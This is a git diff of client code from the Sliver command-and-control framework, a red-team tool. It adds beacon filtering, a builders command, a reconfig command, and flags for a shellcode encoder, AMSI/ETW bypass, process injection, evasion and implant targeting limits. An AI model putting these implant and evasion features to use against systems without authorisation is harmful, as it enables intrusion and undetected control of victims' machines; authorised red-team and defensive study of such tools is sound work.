con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}
|
||||
}
|
||||
// Build the row struct
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
// Apply filters if any
|
||||
if filter == "" && filterRegex == nil {
|
||||
tw.AppendRow(row)
|
||||
} else {
|
||||
for _, rowEntry := range rowEntries {
|
||||
if filter != "" {
|
||||
if strings.Contains(rowEntry, filter) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filterRegex != nil {
|
||||
if filterRegex.MatchString(rowEntry) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tw
|
||||
|
||||
@@ -109,7 +109,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.ID == beaconID {
|
||||
if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
|
||||
return beacon, nil
|
||||
}
|
||||
}
|
||||
|
||||
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if time.Now().Before(nextCheckin) {
|
||||
continue
|
||||
}
|
||||
delta := time.Now().Sub(nextCheckin)
|
||||
delta := time.Since(nextCheckin)
|
||||
if pruneDuration <= delta {
|
||||
pruneBeacons = append(pruneBeacons, beacon)
|
||||
}
|
||||
|
||||
@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
|
||||
}
|
||||
tw := renderBeacons(beacons.Beacons, con)
|
||||
tw := renderBeacons(beacons.Beacons, "", nil, con)
|
||||
lines := strings.Split(tw.Render(), "\n")
|
||||
for _, line := range lines {
|
||||
con.Printf(console.Clearln+"\r%s\n", line)
|
||||
@@ -57,7 +57,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func waitForInput() <-chan bool {
|
||||
done := make(chan bool)
|
||||
done := make(chan bool, 1)
|
||||
go func() {
|
||||
defer close(done)
|
||||
fmt.Scanf("\n")
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
package builders
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// BuildersCmd - List external builders
|
||||
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if len(builders.Builders) == 0 {
|
||||
con.PrintInfof("No external builders connected to server\n")
|
||||
} else {
|
||||
PrintBuilders(builders.Builders, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
|
||||
})
|
||||
for _, builder := range externalBuilders {
|
||||
|
||||
targets := []string{}
|
||||
for _, target := range builder.Targets {
|
||||
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
|
||||
}
|
||||
|
||||
row := table.Row{
|
||||
builder.Name,
|
||||
builder.OperatorName,
|
||||
strings.Join(builder.Templates, ", "),
|
||||
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
|
||||
strings.Join(targets, "\n"),
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
+593
-35
@@ -23,7 +23,7 @@ package command
|
||||
|
||||
Guidelines when adding a command:
|
||||
|
||||
* Try to reuse the same short/long flags for the same paramenter,
|
||||
* Try to reuse the same short/long flags for the same parameter,
|
||||
e.g. "timeout" flags should always be -t and --timeout when possible.
|
||||
Try to avoid creating flags that conflict with others even if you're
|
||||
not using the flag, e.g. avoid using -t even if your command doesn't
|
||||
@@ -41,7 +41,9 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/armory"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/builders"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/cursed"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
@@ -63,11 +65,14 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/privilege"
|
||||
"github.com/bishopfox/sliver/client/command/processes"
|
||||
"github.com/bishopfox/sliver/client/command/reaction"
|
||||
"github.com/bishopfox/sliver/client/command/reconfig"
|
||||
"github.com/bishopfox/sliver/client/command/registry"
|
||||
"github.com/bishopfox/sliver/client/command/rportfwd"
|
||||
"github.com/bishopfox/sliver/client/command/screenshot"
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/shell"
|
||||
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
"github.com/bishopfox/sliver/client/command/tasks"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
@@ -398,6 +403,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("c", "no-canaries", false, "disable dns canary detection")
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
@@ -452,6 +458,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("c", "cert", "", "PEM encoded certificate file")
|
||||
f.String("k", "key", "", "PEM encoded private key file")
|
||||
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
|
||||
f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
@@ -475,6 +482,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
|
||||
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
|
||||
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
|
||||
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
|
||||
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
|
||||
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
|
||||
f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -503,6 +514,46 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.MultiplayerHelpGroup,
|
||||
})
|
||||
|
||||
// [ Reconfig ] ---------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ReconfigStr,
|
||||
Help: "Reconfigure the active beacon/session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
|
||||
f.String("i", "beacon-interval", "", "beacon callback interval")
|
||||
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
reconfig.ReconfigCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.RenameStr,
|
||||
Help: "Rename the active beacon/session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "change implant name to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
reconfig.RenameCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Sessions ] --------------------------------------------------------------
|
||||
|
||||
sessionsCmd := &grumble.Command{
|
||||
@@ -514,6 +565,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("k", "kill", "", "kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "kill all the sessions")
|
||||
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
|
||||
f.Bool("F", "force", false, "force session action without waiting for results")
|
||||
|
||||
f.String("f", "filter", "", "filter sessions by substring")
|
||||
f.String("e", "filter-re", "", "filter sessions by regular expression")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -530,6 +585,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Kill all stale/dead sessions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("F", "force", false, "Force the killing of stale/dead sessions")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -543,26 +599,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(sessionsCmd)
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ReconfigStr,
|
||||
Help: "Reconfigure the active session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "agent name to change to")
|
||||
f.Int("r", "reconnect", -1, "reconnect interval for agent")
|
||||
f.Int("p", "poll", -1, "poll interval for agent")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.SessionsReconfigCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.BackgroundStr,
|
||||
Help: "Background an active session",
|
||||
@@ -590,7 +626,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("f", "force", false, "Force kill, does not clean up")
|
||||
f.Bool("F", "force", false, "Force kill, does not clean up")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -684,6 +720,28 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
tasksCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CancelStr,
|
||||
Help: "Cancel a pending beacon task",
|
||||
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
|
||||
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
|
||||
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("id", "beacon task ID", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
tasks.TasksCancelCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(tasksCmd)
|
||||
|
||||
// [ Use ] --------------------------------------------------------------
|
||||
@@ -807,6 +865,30 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: "always-overflow",
|
||||
Help: "Disable table pagination",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsAlwaysOverflow(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: "small-terminal",
|
||||
Help: "Set the small terminal width",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsSmallTerm(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(settingsCmd)
|
||||
|
||||
// [ Info ] --------------------------------------------------------------
|
||||
@@ -821,6 +903,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("session", "session ID", grumble.Default(""))
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return use.BeaconAndSessionIDCompleter(prefix, args, con)
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
info.InfoCmd(ctx, con)
|
||||
@@ -931,6 +1016,33 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Shellcode Encoders ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ShikataGaNai,
|
||||
Help: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("shellcode", "binary shellcode file path")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "save output to local file")
|
||||
|
||||
f.String("a", "arch", "amd64", "architecture of shellcode")
|
||||
f.Int("i", "iterations", 1, "number of iterations")
|
||||
f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sgn.ShikataGaNaiCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Exec ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -940,10 +1052,13 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("T", "token", false, "execute command with current token (windows only)")
|
||||
f.Bool("o", "output", false, "capture command output")
|
||||
f.Bool("s", "save", false, "save output to a file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
|
||||
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("E", "stderr", "", "remote path to redirect STDERR to")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -974,8 +1089,15 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1006,6 +1128,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
|
||||
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
|
||||
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
|
||||
f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
|
||||
f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
||||
f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1019,8 +1144,13 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
|
||||
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
|
||||
f.Bool("w", "unicode", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1045,8 +1175,12 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
|
||||
f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("filepath", "path the DLL file")
|
||||
@@ -1071,10 +1205,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.Uint("pid", "pid")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
|
||||
f.Uint("p", "pid", 0, "process id to migrate into")
|
||||
f.String("n", "process-name", "", "name of the process to migrate into")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -1135,6 +1269,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("d", "service-description", "Sliver implant", "description of the service")
|
||||
f.String("p", "profile", "", "profile to use for service binary")
|
||||
f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
|
||||
f.String("c", "custom-exe", "", "custom service executable to use instead of generating a new Sliver")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1163,6 +1298,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("P", "password", "", "SSH user password")
|
||||
f.String("l", "login", "", "username to use to connect")
|
||||
f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
|
||||
f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
|
||||
f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
|
||||
f.String("r", "kerberos-realm", "", "Kerberos realm")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1184,8 +1322,12 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1199,6 +1341,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1208,6 +1353,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
@@ -1238,8 +1384,12 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1253,6 +1403,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1262,6 +1415,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
@@ -1358,6 +1512,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1386,11 +1541,14 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.String("O", "debug-file", "", "path to debug output")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("N", "name", "", "implant name")
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
@@ -1401,6 +1559,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
